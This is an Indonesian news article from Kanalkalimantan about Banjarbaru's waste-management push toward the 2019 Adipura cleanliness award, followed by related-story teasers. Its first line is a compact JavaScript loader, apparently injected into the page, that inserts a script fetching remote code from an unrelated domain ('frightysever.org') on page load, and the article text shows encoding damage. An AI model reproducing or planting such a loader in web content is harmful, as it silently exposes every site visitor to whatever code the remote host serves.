(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Penghargaan Adipura bagi kota di Indonesia yang berhasil dalam kebersihan serta pengelolaan lingkungan perkotaan, tentu menjadi target seluruh pemerintah daerah. Untuk itu, demi mendapatkan penghargaan tertinggi penghargaan lingkungan itu, Pemkot Banjarbaru terus mendorong peran masyarakat dalam penggelolaan sampah.
Wakil Walikota Banjarbaru, Darmawan Jaya Setiawan mengatakan, pengelolaan sampah harus melibatkan seluruh pemangku kepentingan yang terintegerasi mulai dari sumber sampai proses akhir yang tertuang dalam rencana program kegiatan.ÂÂ
Hal terpenting dalam pengelolaan kebersihan lingkungan bukanlah penghargaan yang didapat. Namun, kesadaran dari warga masyarakat untuk mencintai kebersihan dan lingkungan sekitar, dengan secara sadar tidak membuang sampah sembarangan.
“Kita harus sadar membersihkan got di sekitar rumahnya, sadar mengelola limbah usaha rumah sakit, rumah makan, bengkel, warung, pedagang kecil, pabrik tahu, ternak dan sebagainya sesuai ketentuan, serta sadar membuang sampah pada waktunya di TPS-TPS, dan sebagainya,†katanya.
Proses penilaian Adipura 2019 telah dilakukan sejak beberapa waktu terakhir oleh Pemerintah Provisi Kalsel melalui Dinas Lingkungan Hidup Kalsel. Dari hasil penilaian itu, diketahui untuk fisik kota Banjarbaru mendapatkan nilai 73,74.ÂÂ
Menurut Kepala Dinas LH Banjarbaru, Sirajoni, saat rapat pembinaan Adipura tahap 2 tahun 2019, Senin (21/10) kemarin, pihaknya telah mengevaluasi kekurangan-kekurangan dari hasil penilaian tahap 1 Adipura 2019 Kota Banjarbaru.
“Di lingkungan masyarakat, pasar, TPA, dan fasilitas umum lainnya perlu ada perbaikan. Kami sudah menyurati beberapa penanggung jawab yang berkaitan untuk segera diperbaiki kekurangannya. Supaya kota Banjarbaru mencapai nilai yang sempurna saat Adipura di bulan November nanti,†katanya saat dikonfirmasi Kanalkalimantan, Rabu (23/10) siang.
Selama beberapa tahun terakhir, kota Banjarbaru telah berhasil meraih 8 piala Adipura sejak tahun 2009 sampai dengan 2018. Hal ini pula yang membuat Dinas Lingkungan Hidup (LH) Kota Banjarbaru optimis meraih Adipura pada tahun 2019 ini.
Sirajoni berharap adanya partisipasi masyarakat dalam lingkungan sekitar, khususnya pengelolaan sampah yang mana kota Banjarbaru memproduksi 125 hingga 130 ton sampah perharinya.ÂÂ
“Kita sudah menerapkan aturan Perwali terkait pengurangan sampah plastik khususnya di retail modern. Kita upayakan juga penggunaan kembali barang yang sudah tidak terpakai. Pemerintah tidak bisa berdiri sendiri, masyarakat kita harapkan peran sertanya karena Adipura itu bonus. Intinya, kita ingin menjaga kebersihan lingkungan masyarakat dan ekosistem di kota Banjarbaru,†pungkasnya. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.